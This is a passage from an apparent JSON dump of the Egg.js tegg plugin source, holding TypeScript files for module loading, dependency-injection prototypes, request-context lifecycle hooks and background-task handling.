  return func;\n  }\n\n  private getLoggerNames(ctxClazzNames: string[], singletonClazzNames: string[]): string[] {\n    const loggerNames = Array.from(this.app.loggers.keys());\n    // filter logger/coreLogger\n    return loggerNames.filter((t) => !ctxClazzNames.includes(t) && !singletonClazzNames.includes(t));\n  }\n\n  async load(): Promise<EggProtoImplClass[]> {\n    const app = this.app;\n    const appProperties = ObjectUtils.getProperties(app);\n    const contextProperties = ObjectUtils.getProperties((app as any).context);\n    // custom plugin may define property conflict with default list\n    const allSingletonClazzNameSet = new Set([...appProperties, ...DEFAULT_APP_CLAZZ]);\n    APP_CLAZZ_BLACK_LIST.forEach((t) => allSingletonClazzNameSet.delete(t));\n    const allSingletonClazzNames = Array.from(allSingletonClazzNameSet);\n    const allContextClazzNamesSet = new Set([...contextProperties, ...DEFAULT_CONTEXT_CLAZZ]);\n    CONTEXT_CLAZZ_BLACK_LIST.forEach((t) => allContextClazzNamesSet.delete(t));\n    const allContextClazzNames = Array.from(allContextClazzNamesSet);\n    const loggerNames = this.getLoggerNames(allContextClazzNames, allSingletonClazzNames);\n    const allSingletonClazzs = allSingletonClazzNames.map((name) => this.buildClazz(name, EggType.APP));\n    const allContextClazzs = allContextClazzNames.map((name) => this.buildClazz(name, EggType.CONTEXT));\n    const appLoggerClazzs = loggerNames.map((name) => this.buildAppLoggerClazz(name));\n    const moduleConfigList = this.moduleConfigLoader.loadModuleConfigList();\n\n    return [\n      ...allSingletonClazzs,\n      ...allContextClazzs,\n      ...appLoggerClazzs,\n      ...moduleConfigList,\n\n      // inner helper class list\n      // TODO: should auto the inner class\n      BackgroundTaskHelper,\n      EggObjectFactory,\n    ];\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggCompatibleObject.ts",
    "content": "import { type EggObjectName, EggType, EggQualifierAttribute } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { type EggObject, EggObjectFactory } from '@eggjs/tegg-runtime';\n\nimport { EggCompatibleProtoImpl } from './EggCompatibleProtoImpl.ts';\n\n// const OBJ = Symbol('EggCompatibleObject#obj');\n\nexport class EggCompatibleObject implements EggObject {\n  readonly isReady: boolean = true;\n  // private [OBJ]: object;\n  #obj: object;\n  readonly proto: EggCompatibleProtoImpl;\n  readonly name: EggObjectName;\n  readonly id: string;\n  readonly isContext: boolean;\n\n  constructor(name: EggObjectName, proto: EggCompatibleProtoImpl) {\n    this.proto = proto;\n    this.name = name;\n    this.id = IdenticalUtil.createObjectId(this.proto.id);\n    this.isContext = this.proto.verifyQualifier({\n      value: EggType.CONTEXT,\n      attribute: EggQualifierAttribute,\n    });\n  }\n\n  // If the egg object is a getter,\n  // access may have side effect.\n  // So access egg object lazy.\n  get obj(): object {\n    if (this.isContext) {\n      return this.proto.constructEggObject();\n    }\n    if (!this.#obj) {\n      this.#obj = this.proto.constructEggObject();\n    }\n    return this.#obj;\n  }\n\n  injectProperty(): void {\n    return;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<EggCompatibleObject> {\n    return new EggCompatibleObject(name, proto as EggCompatibleProtoImpl);\n  }\n}\n\nEggObjectFactory.registerEggObjectCreateMethod(EggCompatibleProtoImpl, EggCompatibleObject.createObject);\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggCompatibleProtoImpl.ts",
    "content": "import {\n  AccessLevel,\n  type EggProtoImplClass,\n  type EggPrototypeName,\n  type MetaDataKey,\n  MetadataUtil,\n  type ObjectInitTypeLike,\n  type QualifierInfo,\n  QualifierUtil,\n  type QualifierValue,\n} from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport type { EggPrototype, InjectObjectProto, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport type { Id } from '@eggjs/tegg-types';\n\nexport const COMPATIBLE_PROTO_IMPLE_TYPE = 'EGG_COMPATIBLE';\n\nexport class EggCompatibleProtoImpl implements EggPrototype {\n  [key: symbol]: PropertyDescriptor;\n  private readonly clazz: EggProtoImplClass;\n  private readonly qualifiers: QualifierInfo[];\n\n  readonly id: string;\n  readonly name: EggPrototypeName;\n  readonly initType: ObjectInitTypeLike;\n  readonly accessLevel: AccessLevel;\n  readonly injectObjects: InjectObjectProto[];\n  readonly loadUnitId: Id;\n\n  constructor(\n    id: string,\n    name: EggPrototypeName,\n    clazz: EggProtoImplClass,\n    initType: ObjectInitTypeLike,\n    loadUnitId: Id,\n    qualifiers: QualifierInfo[],\n  ) {\n    this.id = id;\n    this.clazz = clazz;\n    this.name = name;\n    this.initType = initType;\n    this.accessLevel = AccessLevel.PUBLIC;\n    this.injectObjects = [];\n    this.loadUnitId = loadUnitId;\n    this.qualifiers = qualifiers;\n  }\n\n  verifyQualifiers(qualifiers: QualifierInfo[]): boolean {\n    for (const qualifier of qualifiers) {\n      if (!this.verifyQualifier(qualifier)) {\n        return false;\n      }\n    }\n    return true;\n  }\n\n  verifyQualifier(qualifier: QualifierInfo): boolean {\n    const selfQualifiers = this.qualifiers.find((t) => t.attribute === qualifier.attribute);\n    return selfQualifiers?.value === qualifier.value;\n  }\n\n  getQualifier(attribute: string): QualifierValue | undefined {\n    return this.qualifiers.find((t) => t.attribute === attribute)?.value;\n  }\n\n  constructEggObject(): object {\n    return Reflect.apply(this.clazz, null, []);\n  }\n\n  getMetaData<T>(metadataKey: MetaDataKey): T | undefined {\n    return MetadataUtil.getMetaData(metadataKey, this.clazz);\n  }\n\n  static create(ctx: EggPrototypeLifecycleContext): EggPrototype {\n    const { clazz, loadUnit } = ctx;\n    const name = ctx.prototypeInfo.name;\n    const id = IdenticalUtil.createProtoId(loadUnit.id, name);\n    const proto = new EggCompatibleProtoImpl(\n      id,\n      name,\n      clazz,\n      ctx.prototypeInfo.initType,\n      loadUnit.id,\n      QualifierUtil.mergeQualifiers(QualifierUtil.getProtoQualifiers(clazz), ctx.prototypeInfo.qualifiers ?? []),\n    );\n    return proto;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggContextCompatibleHook.ts",
    "content": "import { BackgroundTaskHelper } from '@eggjs/background-task';\nimport { ObjectInitType, PrototypeUtil } from '@eggjs/core-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { ROOT_PROTO } from '@eggjs/module-common';\nimport { EggContainerFactory, type EggContext, type EggContextLifecycleContext } from '@eggjs/tegg-runtime';\n\nimport { ModuleHandler } from './ModuleHandler.ts';\n\nexport class EggContextCompatibleHook implements LifecycleHook<EggContextLifecycleContext, EggContext> {\n  private readonly moduleHandler: ModuleHandler;\n  private requestProtoList: Array<EggPrototype> = [];\n\n  constructor(moduleHandler: ModuleHandler) {\n    this.moduleHandler = moduleHandler;\n    for (const loadUnitInstance of this.moduleHandler.loadUnitInstances) {\n      const iterator = loadUnitInstance.loadUnit.iterateEggPrototype();\n      for (const proto of iterator) {\n        if (proto.initType === ObjectInitType.CONTEXT) {\n          this.requestProtoList.push(proto);\n        }\n      }\n    }\n  }\n\n  async preCreate(_: unknown, ctx: EggContext): Promise<void> {\n    // root proto added in ctxLifecycleMiddleware\n    if (!ctx.get(ROOT_PROTO)) {\n      for (const proto of this.requestProtoList) {\n        ctx.addProtoToCreate(proto.name, proto);\n      }\n    } else {\n      // Use for ctx.runInBackground.\n      // BackgroundTaskHelper should get by sync,\n      // or tegg context may be destroyed before background task run.\n      // So create it in preCreate.\n      const protoObj = PrototypeUtil.getClazzProto(BackgroundTaskHelper);\n      await EggContainerFactory.getOrCreateEggObject(protoObj as EggPrototype);\n    }\n  }\n\n  async postCreate(_: unknown, ctx: EggContext): Promise<void> {\n    const rootProto = ctx.get(ROOT_PROTO);\n    if (rootProto) {\n      // Ensure ContextInitiator be called.\n      await EggContainerFactory.getOrCreateEggObject(rootProto as EggPrototype);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggContextHandler.ts",
    "content": "import { EGG_CONTEXT } from '@eggjs/module-common';\nimport { ContextHandler, type EggContext } from '@eggjs/tegg-runtime';\nimport type { Application } from 'egg';\n\nexport class EggContextHandler {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  getContextCallback(): EggContext | undefined {\n    const ctx = this.app.currentContext;\n    return ctx?.teggContext;\n  }\n\n  async run<R>(eggContext: EggContext, fn: () => Promise<R>): Promise<R> {\n    const ctx = eggContext.get(EGG_CONTEXT);\n    return await this.app.ctxStorage.run(ctx, fn);\n  }\n\n  register(): void {\n    ContextHandler.getContextCallback = () => {\n      return this.getContextCallback();\n    };\n    ContextHandler.runInContextCallback = async (context: EggContext, fn: () => Promise<any>) => {\n      return await this.run(context, fn);\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggContextImpl.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { EGG_CONTEXT, TEGG_CONTEXT } from '@eggjs/module-common';\nimport { AbstractEggContext } from '@eggjs/tegg-runtime';\nimport type { Context } from 'egg';\n\n// TEggContext 的实现\nexport class EggContextImpl extends AbstractEggContext {\n  readonly id: string;\n\n  constructor(ctx: Context) {\n    super();\n    this.set(EGG_CONTEXT, ctx);\n    ctx[TEGG_CONTEXT] = this;\n    const tracer = ctx.tracer as { traceId: string } | undefined;\n    this.id = IdenticalUtil.createContextId(tracer?.traceId);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggModuleLoader.ts",
    "content": "import { EggLoadUnitType, LoadUnitFactory, GlobalGraph, ModuleDescriptorDumper } from '@eggjs/metadata';\nimport type { GlobalGraphBuildHook } from '@eggjs/metadata';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport type { Application } from 'egg';\n\nimport { EggAppLoader } from './EggAppLoader.ts';\n\nexport class EggModuleLoader {\n  app: Application;\n  globalGraph: GlobalGraph;\n  private pendingBuildHooks: GlobalGraphBuildHook[] = [];\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  registerBuildHook(hook: GlobalGraphBuildHook): void {\n    this.pendingBuildHooks.push(hook);\n  }\n\n  private async loadApp() {\n    const loader = new EggAppLoader(this.app);\n    const loadUnit = await LoadUnitFactory.createLoadUnit(this.app.baseDir, EggLoadUnitType.APP, loader);\n    this.app.moduleHandler.loadUnits.push(loadUnit);\n  }\n\n  private async buildAppGraph() {\n    for (const plugin of Object.values(this.app.plugins)) {\n      if (!plugin.enable) continue;\n      const modulePlugin = this.app.moduleReferences.find((t) => t.path === plugin.path);\n      if (modulePlugin) {\n        modulePlugin.optional = false;\n      }\n    }\n    const moduleDescriptors = await LoaderFactory.loadApp(this.app.moduleReferences);\n    for (const moduleDescriptor of moduleDescriptors) {\n      ModuleDescriptorDumper.dump(moduleDescriptor, {\n        dumpDir: this.app.baseDir,\n      }).catch((e) => {\n        e.message = 'dump module descriptor failed: ' + e.message;\n        this.app.logger.warn(e);\n      });\n    }\n    const graph = await GlobalGraph.create(moduleDescriptors);\n    return graph;\n  }\n\n  private async loadModule() {\n    this.globalGraph.build();\n    this.globalGraph.sort();\n    const moduleConfigList = this.globalGraph.moduleConfigList;\n    for (const moduleConfig of moduleConfigList) {\n      const modulePath = moduleConfig.path;\n      const loader = LoaderFactory.createLoader(modulePath, EggLoadUnitType.MODULE);\n      const loadUnit = await LoadUnitFactory.createLoadUnit(modulePath, EggLoadUnitType.MODULE, loader);\n      this.app.moduleHandler.loadUnits.push(loadUnit);\n    }\n  }\n\n  async load(): Promise<void> {\n    GlobalGraph.instance = this.globalGraph = await this.buildAppGraph();\n    for (const hook of this.pendingBuildHooks) {\n      this.globalGraph.registerBuildHook(hook);\n    }\n    await this.loadApp();\n    await this.loadModule();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/EggQualifierProtoHook.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { PrototypeUtil, QualifierUtil, EggQualifierAttribute, EggType } from '@eggjs/core-decorator';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { LoadUnitLifecycleContext, LoadUnit } from '@eggjs/metadata';\nimport { ObjectUtils } from '@eggjs/tegg-common-util';\nimport type { Application } from 'egg';\n\nimport {\n  APP_CLAZZ_BLACK_LIST,\n  CONTEXT_CLAZZ_BLACK_LIST,\n  DEFAULT_APP_CLAZZ,\n  DEFAULT_CONTEXT_CLAZZ,\n} from './EggAppLoader.ts';\n\nconst debug = debuglog('egg/tegg/plugin/tegg/lib/EggQualifierProtoHook');\n\nexport class EggQualifierProtoHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async preCreate(ctx: LoadUnitLifecycleContext): Promise<void> {\n    const clazzList = await ctx.loader.load();\n    const appProperties = ObjectUtils.getProperties(this.app);\n    const ctxProperties = ObjectUtils.getProperties(this.app.context);\n    if (debug.enabled) {\n      debug(\n        'preCreate, get clazzList:%o, appProperties:%o, ctxProperties:%o, from unitPath:%o',\n        clazzList.map((t) => t.name),\n        appProperties.length,\n        ctxProperties.length,\n        ctx.unitPath,\n      );\n    }\n    for (const clazz of clazzList) {\n      const inbjectObjects = PrototypeUtil.getInjectObjects(clazz) || [];\n      if (debug.enabled && inbjectObjects.length > 0) {\n        debug(\n          'preCreate, get injectObjects:%o, from clazz:%o, from unitPath:%o',\n          inbjectObjects.map((t) => t.refName),\n          clazz.name,\n          ctx.unitPath,\n        );\n      }\n      for (const injectObject of inbjectObjects) {\n        const propertyQualifiers = QualifierUtil.getProperQualifiers(clazz, injectObject.refName);\n        const hasEggQualifier = propertyQualifiers.find((t) => t.attribute === EggQualifierAttribute);\n        if (hasEggQualifier) {\n          continue;\n        }\n        if (this.isCtxObject(injectObject.objName, ctxProperties)) {\n          QualifierUtil.addProperQualifier(clazz, injectObject.refName, EggQualifierAttribute, EggType.CONTEXT);\n        } else if (this.isAppObject(injectObject.objName, appProperties)) {\n          QualifierUtil.addProperQualifier(clazz, injectObject.refName, EggQualifierAttribute, EggType.APP);\n          debug(\n            'preCreate, add proper qualifier:%o to clazz:%o, from unitPath:%o',\n            injectObject.refName,\n            clazz.name,\n            ctx.unitPath,\n          );\n        }\n      }\n    }\n  }\n\n  private isAppObject(name: PropertyKey, appProperties: string[]) {\n    name = String(name);\n    if (APP_CLAZZ_BLACK_LIST.includes(name)) {\n      return false;\n    }\n    if (DEFAULT_APP_CLAZZ.includes(name)) {\n      return true;\n    }\n    return appProperties.includes(name);\n  }\n\n  private isCtxObject(name: PropertyKey, ctxProperties: string[]) {\n    name = String(name);\n    if (CONTEXT_CLAZZ_BLACK_LIST.includes(name)) {\n      return false;\n    }\n    if (DEFAULT_CONTEXT_CLAZZ.includes(name)) {\n      return true;\n    }\n    return ctxProperties.includes(name);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/ModuleConfigLoader.ts",
    "content": "import {\n  AccessLevel,\n  type EggProtoImplClass,\n  EggQualifierAttribute,\n  EggType,\n  InitTypeQualifierAttribute,\n  LoadUnitNameQualifierAttribute,\n  ObjectInitType,\n  PrototypeUtil,\n  QualifierUtil,\n  ConfigSourceQualifierAttribute,\n} from '@eggjs/core-decorator';\nimport { ModuleConfigs, ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport type { ModuleConfigHolder } from '@eggjs/tegg-types';\nimport type { Application } from 'egg';\nimport { extend } from 'extend2';\n\nimport { COMPATIBLE_PROTO_IMPLE_TYPE } from './EggCompatibleProtoImpl.ts';\n\nexport class ModuleConfigLoader {\n  readonly app: Application;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  private loadModuleConfigs(moduleConfigMap: Record<string, ModuleConfigHolder>): EggProtoImplClass {\n    const moduleConfigs = new ModuleConfigs(moduleConfigMap);\n    const func: EggProtoImplClass = function () {\n      return moduleConfigs;\n    } as any;\n    const name = 'moduleConfigs';\n    Object.defineProperty(func, 'name', {\n      value: name,\n      writable: false,\n      enumerable: false,\n      configurable: true,\n    });\n    PrototypeUtil.setIsEggPrototype(func);\n    PrototypeUtil.setFilePath(func, 'mock_file_path');\n    PrototypeUtil.setProperty(func, {\n      name,\n      initType: ObjectInitType.SINGLETON,\n      accessLevel: AccessLevel.PUBLIC,\n      protoImplType: COMPATIBLE_PROTO_IMPLE_TYPE,\n    });\n    QualifierUtil.addProtoQualifier(func, LoadUnitNameQualifierAttribute, 'app');\n    QualifierUtil.addProtoQualifier(func, InitTypeQualifierAttribute, ObjectInitType.SINGLETON);\n    QualifierUtil.addProtoQualifier(func, EggQualifierAttribute, EggType.APP);\n    return func;\n  }\n\n  loadModuleConfigList(): EggProtoImplClass[] {\n    const result: EggProtoImplClass[] = [];\n    const moduleConfigMap: Record<string, ModuleConfigHolder> = {};\n    for (const reference of this.app.moduleReferences) {\n      const moduleName = ModuleConfigUtil.readModuleNameSync(reference.path);\n      const defaultConfig = ModuleConfigUtil.loadModuleConfigSync(reference.path, undefined, this.app.config.env);\n      // @eggjs/tegg-config moduleConfigs[module].config overwrite\n      const config = extend(true, {}, defaultConfig, this.app.moduleConfigs[moduleName]?.config);\n      moduleConfigMap[moduleName] = {\n        name: moduleName,\n        reference: {\n          name: moduleName,\n          path: reference.path,\n        },\n        config,\n      };\n\n      const func: EggProtoImplClass = function () {\n        return config;\n      } as any;\n      const name = 'moduleConfig';\n      Object.defineProperty(func, 'name', {\n        value: name,\n        writable: false,\n        enumerable: false,\n        configurable: true,\n      });\n      PrototypeUtil.setIsEggPrototype(func);\n      PrototypeUtil.setFilePath(func, 'mock_file_path');\n      PrototypeUtil.setProperty(func, {\n        name,\n        initType: ObjectInitType.SINGLETON,\n        accessLevel: AccessLevel.PUBLIC,\n        protoImplType: COMPATIBLE_PROTO_IMPLE_TYPE,\n      });\n      QualifierUtil.addProtoQualifier(func, LoadUnitNameQualifierAttribute, 'app');\n      QualifierUtil.addProtoQualifier(func, InitTypeQualifierAttribute, ObjectInitType.SINGLETON);\n      QualifierUtil.addProtoQualifier(func, EggQualifierAttribute, EggType.APP);\n      QualifierUtil.addProtoQualifier(func, ConfigSourceQualifierAttribute, moduleName);\n      result.push(func);\n    }\n    const moduleConfigs = this.loadModuleConfigs(moduleConfigMap);\n    result.push(moduleConfigs);\n    return result;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/ModuleHandler.ts",
    "content": "import { EggLoadUnitType, type LoadUnit, LoadUnitFactory } from '@eggjs/metadata';\nimport type { GlobalGraphBuildHook } from '@eggjs/metadata';\nimport { type LoadUnitInstance, LoadUnitInstanceFactory } from '@eggjs/tegg-runtime';\nimport type { Application } from 'egg';\nimport { Base } from 'sdk-base';\n\nimport { CompatibleUtil } from './CompatibleUtil.ts';\nimport { COMPATIBLE_PROTO_IMPLE_TYPE, EggCompatibleProtoImpl } from './EggCompatibleProtoImpl.ts';\nimport { EggModuleLoader } from './EggModuleLoader.ts';\n\nexport class ModuleHandler extends Base {\n  loadUnits: LoadUnit[] = [];\n  loadUnitInstances: LoadUnitInstance[] = [];\n\n  private readonly loadUnitLoader: EggModuleLoader;\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    super();\n    this.app = app;\n    this.loadUnitLoader = new EggModuleLoader(this.app);\n  }\n\n  registerGlobalGraphBuildHook(hook: GlobalGraphBuildHook): void {\n    this.loadUnitLoader.registerBuildHook(hook);\n  }\n\n  async init(): Promise<void> {\n    try {\n      this.app.eggPrototypeCreatorFactory.registerPrototypeCreator(\n        COMPATIBLE_PROTO_IMPLE_TYPE,\n        EggCompatibleProtoImpl.create,\n      );\n\n      await this.loadUnitLoader.load();\n      const instances: LoadUnitInstance[] = [];\n      this.app.module = {} as any;\n\n      for (const loadUnit of this.loadUnits) {\n        const instance = await LoadUnitInstanceFactory.createLoadUnitInstance(loadUnit);\n        if (instance.loadUnit.type !== EggLoadUnitType.APP) {\n          CompatibleUtil.appCompatible(this.app, instance);\n        }\n        instances.push(instance);\n      }\n      CompatibleUtil.contextModuleCompatible(this.app.context, instances);\n      this.loadUnitInstances = instances;\n      this.ready(true);\n    } catch (e) {\n      this.ready(e as Error);\n      throw e;\n    }\n  }\n\n  async destroy(): Promise<void> {\n    if (this.loadUnitInstances) {\n      for (const instance of this.loadUnitInstances) {\n        await LoadUnitInstanceFactory.destroyLoadUnitInstance(instance);\n      }\n    }\n    if (this.loadUnits) {\n      for (const loadUnit of this.loadUnits) {\n        await LoadUnitFactory.destroyLoadUnit(loadUnit);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/Utils.ts",
    "content": "function prepareObjectStackTrace(_: Error, stack: NodeJS.CallSite[]) {\n  return stack;\n}\n\nexport function getCalleeFromStack(withLine: boolean, stackIndex?: number): string {\n  stackIndex = stackIndex === undefined ? 2 : stackIndex;\n  const limit = Error.stackTraceLimit;\n  const prep = Error.prepareStackTrace;\n\n  Error.prepareStackTrace = prepareObjectStackTrace;\n  Error.stackTraceLimit = 5;\n\n  // capture the stack\n  const obj: any = {};\n  Error.captureStackTrace(obj);\n  let callSite = obj.stack[stackIndex];\n  let fileName;\n  /* istanbul ignore else */\n  if (callSite) {\n    // egg-mock will create a proxy\n    // https://github.com/eggjs/egg-mock/blob/master/lib/app.js#L174\n    fileName = callSite.getFileName();\n    /* istanbul ignore if */\n    if (fileName && fileName.endsWith('egg-mock/lib/app.js')) {\n      // TODO: add test\n      callSite = obj.stack[stackIndex + 1];\n      fileName = callSite.getFileName();\n    }\n  }\n\n  Error.prepareStackTrace = prep;\n  Error.stackTraceLimit = limit;\n\n  /* istanbul ignore if */\n  if (!callSite || !fileName) return '<anonymous>';\n  if (!withLine) return fileName;\n  return `${fileName}:${callSite.getLineNumber()}:${callSite.getColumnNumber()}`;\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/ctx_lifecycle_middleware.ts",
    "content": "import { ROOT_PROTO, TEGG_CONTEXT } from '@eggjs/module-common';\nimport { StreamUtil } from '@eggjs/tegg-common-util';\nimport type { EggContextLifecycleContext } from '@eggjs/tegg-runtime';\n// @ts-expect-error - no type declarations available\nimport awaitFirst from 'await-first';\nimport type { Context, Next } from 'egg';\n\nimport { EggContextImpl } from './EggContextImpl.ts';\n\nexport async function ctxLifecycleMiddleware(ctx: Context, next: Next): Promise<void> {\n  // should not recreate teggContext\n  if (ctx[TEGG_CONTEXT]) {\n    await next();\n    return;\n  }\n\n  const lifecycleCtx: EggContextLifecycleContext = {};\n  const teggCtx = new EggContextImpl(ctx);\n  // rootProto is set by tegg-controller-plugin global middleware(teggRootProto)\n  // is used in EggControllerHook\n  const rootProto = ctx[ROOT_PROTO];\n  if (rootProto) {\n    teggCtx.set(ROOT_PROTO, rootProto);\n  }\n\n  if (teggCtx.init) {\n    await teggCtx.init(lifecycleCtx);\n  }\n\n  async function doDestroy() {\n    if (StreamUtil.isStream(ctx.response.body)) {\n      try {\n        await awaitFirst(ctx.response.body, ['close', 'error']);\n      } catch (error) {\n        ctx.res.destroy(error as Error);\n      }\n    }\n    try {\n      if (teggCtx.destroy) {\n        await teggCtx.destroy(lifecycleCtx);\n      }\n    } catch (e: any) {\n      e.message = `[tegg/ctxLifecycleMiddleware] destroy tegg ctx failed: ${e.message}`;\n      ctx.logger.error(e);\n    }\n  }\n  try {\n    await next();\n  } finally {\n    doDestroy();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/lib/run_in_background.ts",
    "content": "import { BackgroundTaskHelper } from '@eggjs/background-task';\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { TEGG_CONTEXT } from '@eggjs/module-common';\nimport type { Application, Context } from 'egg';\n\nimport { getCalleeFromStack } from './Utils.ts';\n\nexport const LONG_STACK_DELIMITER = '\\n --------------------\\n';\n\nfunction addLongStackTrace(err: Error, causeError: Error) {\n  const callSiteStack = causeError.stack;\n  if (!callSiteStack || typeof callSiteStack !== 'string') {\n    return;\n  }\n  const index = callSiteStack.indexOf('\\n');\n  if (index !== -1) {\n    err.stack += LONG_STACK_DELIMITER + callSiteStack.substring(index + 1);\n  }\n}\n\nexport function hijackRunInBackground(app: Application): void {\n  const eggRunInBackground = app.context.runInBackground;\n  app.context.runInBackground = function runInBackground(this: Context, scope: (ctx: Context) => Promise<any>) {\n    if (!this[TEGG_CONTEXT]) {\n      return Reflect.apply(eggRunInBackground, this, [scope]);\n    }\n    const caseError = new Error('cause');\n    let resolveBackgroundTask: () => void;\n    const backgroundTaskPromise = new Promise<void>((resolve) => {\n      resolveBackgroundTask = resolve;\n    });\n    const newScope = async () => {\n      try {\n        await scope(this);\n      } catch (e) {\n        addLongStackTrace(e as Error, caseError);\n        throw e;\n      } finally {\n        resolveBackgroundTask();\n      }\n    };\n    // @ts-expect-error _name is not defined\n    const taskName = scope._name || scope.name || getCalleeFromStack(true, 2);\n    // @ts-expect-error _name is not defined\n    scope._name = taskName;\n    Object.defineProperty(newScope, 'name', {\n      value: taskName,\n      enumerable: false,\n      configurable: true,\n      writable: false,\n    });\n    Reflect.apply(eggRunInBackground, this, [newScope]);\n\n    const proto = PrototypeUtil.getClazzProto(BackgroundTaskHelper);\n    const eggObject = app.eggContainerFactory.getEggObject(proto as EggPrototype);\n    const backgroundTaskHelper = eggObject.obj as BackgroundTaskHelper;\n    backgroundTaskHelper.run(async () => {\n      await backgroundTaskPromise;\n    });\n  };\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/src/types.ts",
    "content": "import '@eggjs/tegg-config/types';\nimport type { QualifierInfo } from '@eggjs/core-decorator';\nimport type { IdenticalUtil } from '@eggjs/lifecycle';\nimport type {\n  EggPrototypeCreatorFactory,\n  EggPrototypeFactory,\n  EggPrototypeLifecycleUtil,\n  LoadUnitFactory,\n  LoadUnitLifecycleUtil,\n} from '@eggjs/metadata';\nimport type { LoaderFactory } from '@eggjs/tegg-loader';\nimport type {\n  AbstractEggContext,\n  EggContainerFactory,\n  EggObjectFactory,\n  LoadUnitInstanceFactory,\n  EggContextLifecycleUtil,\n  EggObjectLifecycleUtil,\n  LoadUnitInstanceLifecycleUtil,\n  EggContext as TEggContext,\n} from '@eggjs/tegg-runtime';\n\nimport type { EggContextHandler } from './lib/EggContextHandler.ts';\nimport type { ModuleHandler } from './lib/ModuleHandler.ts';\n\ndeclare module 'egg' {\n  export interface EggModule {}\n\n  interface Application {\n    eggPrototypeCreatorFactory: typeof EggPrototypeCreatorFactory;\n    eggPrototypeFactory: EggPrototypeFactory;\n    eggContainerFactory: typeof EggContainerFactory;\n    loadUnitFactory: typeof LoadUnitFactory;\n    eggObjectFactory: typeof EggObjectFactory;\n    loadUnitInstanceFactory: typeof LoadUnitInstanceFactory;\n    abstractEggContext: typeof AbstractEggContext;\n    identicalUtil: typeof IdenticalUtil;\n    loaderFactory: typeof LoaderFactory;\n\n    loadUnitLifecycleUtil: typeof LoadUnitLifecycleUtil;\n    loadUnitInstanceLifecycleUtil: typeof LoadUnitInstanceLifecycleUtil;\n    eggPrototypeLifecycleUtil: typeof EggPrototypeLifecycleUtil;\n    eggContextLifecycleUtil: typeof EggContextLifecycleUtil;\n    eggObjectLifecycleUtil: typeof EggObjectLifecycleUtil;\n\n    // TODO: how to define teggContext?\n    teggContext: TEggContext;\n    moduleHandler: ModuleHandler;\n    eggContextHandler: EggContextHandler;\n\n    // getEggObject<T>(clazz: EggProtoImplClass<T>, name?: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T>;\n    getEggObject<T>(\n      clazz: new (...args: any[]) => T,\n      name?: string,\n      qualifiers?: QualifierInfo | QualifierInfo[],\n    ): Promise<T>;\n    getEggObjectFromName<T extends object>(name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T>;\n\n    // set on ModuleHandler.init()\n    module: EggModule;\n\n    /**\n     * Mock the module context, only for unittest\n     */\n    mockModuleContext(data?: any): Promise<Context>;\n    /**\n     * Mock the module context scope, only for unittest\n     */\n    mockModuleContextScope<R = any>(fn: (ctx: Context) => Promise<R>, data?: any): Promise<R>;\n    /**\n     * Destroy the module context, only for unittest\n     */\n    destroyModuleContext(context: Context): Promise<void>;\n  }\n\n  interface Context {\n    beginModuleScope(func: () => Promise<void>): Promise<void>;\n    // getEggObject<T>(clazz: EggProtoImplClass<T>, name?: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T>;\n    getEggObject<T>(\n      clazz: new (...args: any[]) => T,\n      name?: string,\n      qualifiers?: QualifierInfo | QualifierInfo[],\n    ): Promise<T>;\n    getEggObjectFromName<T>(name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<T>;\n    teggContext: TEggContext;\n\n    module: EggModule;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/tegg/test/AccessLevelCheck.test.ts",
